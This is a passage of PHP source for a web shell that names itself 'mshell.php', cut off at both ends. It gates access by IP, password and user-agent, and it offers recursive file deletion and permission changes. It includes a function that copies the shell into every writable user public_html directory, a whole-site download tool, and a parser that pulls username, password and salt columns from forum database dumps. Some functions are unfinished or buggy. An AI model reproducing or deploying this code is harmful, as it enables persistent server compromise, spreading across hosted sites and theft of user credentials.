function togglecheck()
{
var cb=document.forms[0].check
for (i in cb)
{
cb[i].checked=(cb[i].checked)?false:true;
}
}
";
switch($access_control) #Break statements intentionally ommited
{
case 3:
$ip_allwd=false;
foreach($allowed_addrs as $addr)
{
if($addr==$_SERVER['REMOTE_ADDR']) {$ip_allwd=true; break;}
if(!$ip_allwd) exit;
}
case 2:
if(!isset($_SERVER['PHP_AUTH_USER'])||$_SERVER['PHP_AUTH_USER']!=$md5_user||$_SERVER['PHP_AUTH_PW']!=$md5_pass)
{
header("WWW-Authenticate: Basic Realm=\"Restricted area\"");
header("HTTP/1.1 401 Unauthorized");
echo "Wrong username/password";
exit;
}
case 1:
if($_SERVER['HTTP_USER_AGENT']!=$user_agent) exit;
}
if($id)
{
$s=strpos($id,"(",0)+1;
$e=strpos($id,")",$s);
$idval=substr($id,$s,$e-$s);
}
$disable=@ini_get("disable_functions");
if(empty($disable)) $disable="None";
function rm_rep($dir,&$success,&$fail)
{
@$dh=opendir($dir);
if(is_resource($dh))
{
while((@$rm=readdir($dh)))
{
if($rm=='.' || $rm=='..') continue;
if(is_dir($dir.'/'.$rm)) {echo "Deleting dir $dir/$rm..."; rm_rep($dir.'/'.$rm,$success,$fail); continue;}
if(@unlink($dir.'/'.$rm)) {$success++;echo "Deleted $rm...";}
else {$fail++; echo "Failed to delete $rm";}
}
@closedir($dh);
} else echo "Failed to open dir $dir";
}
function chmod_rep($dir,&$success,&$fail,$mod_value)
{
@$dh=opendir($dir);
if(is_resource($dh))
{
while((@$ch=readdir($dh)))
{
if($ch=='.' || $ch=='..') continue;
if(is_dir($dir.'/'.$ch)) {echo "Changing file modes in dir $dir/$ch..."; chmod_rep($dir.'/'.$ch,$success,$fail,$mod_value); continue;}
if(@chmod($dir.'/'.$ch,$mod_value)) {$success++;echo "Changed mode for $ch...";}
else {$fail++; echo "Failed to chmod $rm";}
}
@closedir($dh);
} else echo "Failed to open dir $dir";
}
#Complete these functions
function spread_self($user,&$c=0,$d=0)
{
if(!$d) $dir="/home/$user/public_html/";
else $dir=$d;
if(is_dir($dir)&&is_writable($dir))
{
copy(CleanDir(getcwd()).'/'.basename($_SERVER['PHP_SELF']),$dir.$f.'/mshell.php');
echo "[+] Shell copied to $dir.$f./mshell.php";
$c++;
}
if(@$dh=opendir($dir)) echo "[-] Failed to open dir $dir";
while((@$f=readdir($dh)))
{
if($f!="."&&$f!="..")
{
if(@is_dir($dir.$f))
{
echo "[+] Spreading to dir $dir";
if(@is_writable($dir.$f))
{
copy(CleanDir(getcwd()).'/'.basename($_SERVER['PHP_SELF']),$dir.$f.'/mshell.php');
echo "[+] Shell copied to $dir.$f./mshell.php";
$c++;
}
$c+=spread_self($user,$c,$dir.$f.'/');
}
}
}
}
function copy_rep($dir,&$c)
{
}
function backup_site()
{
if(!isset($_POST['busite']))
{
echo "
The following tool will attempt to retrieve every file from the specified dir (including child dirs).If successful, you will be prompted for a site backup download.Note: Only readable files will be downloaded. Images and executables will be discarded. This tool should only be used in scenarios in which you have to quickly retrieve a site's source.
";
}
$colarr=array();
if(isset($_POST['db_parse']))
{
if(!is_file($_FILES['db_upath']['tmp_name'])&&empty($_POST['db_dpath'])) die("Please specify a DB to parse...");
$db_meth=empty($_POST['db_dpath'])?'uploaded':'path';
$q_delimit=$_POST['q_delimit'];
if(isset($_POST['column_defined']))
{
switch($_POST['column_type'])
{
case 'SMF':
break;
case 'phpbb':
break;
case 'vbulletin':
$colarr=array(4,5,7,48);
break;
}
} else {
$strr=str_replace(", ",",",trim($_POST['db_columns']));
$colarr=explode(",",$strr);
}
switch($db_meth)
{
case 'uploaded':
@$fh=fopen($_FILES['db_upath']['tmp_name'],'r') or die("Failed to open file for reading");
break;
case 'path':
@$fh=fopen($_POST['db_dpath'],'r') or die("Failed to open file for reading");
break;
}
echo "Parsing database contents...";
while(!feof($fh))
{
$c_line=fgets($fh);
$strr=str_replace(", ",",",$c_line);
$arr=explode(',',$strr);
for($i=0;$i";
}
continue;
}
@fclose($fh);
}
echo "
Database parser
Quote delimiter (usually ` or '): Columns to retrieve (separate by commas):
Use predefined column match (user+pass+salt):
Path to DB dump:
Upload DB dump: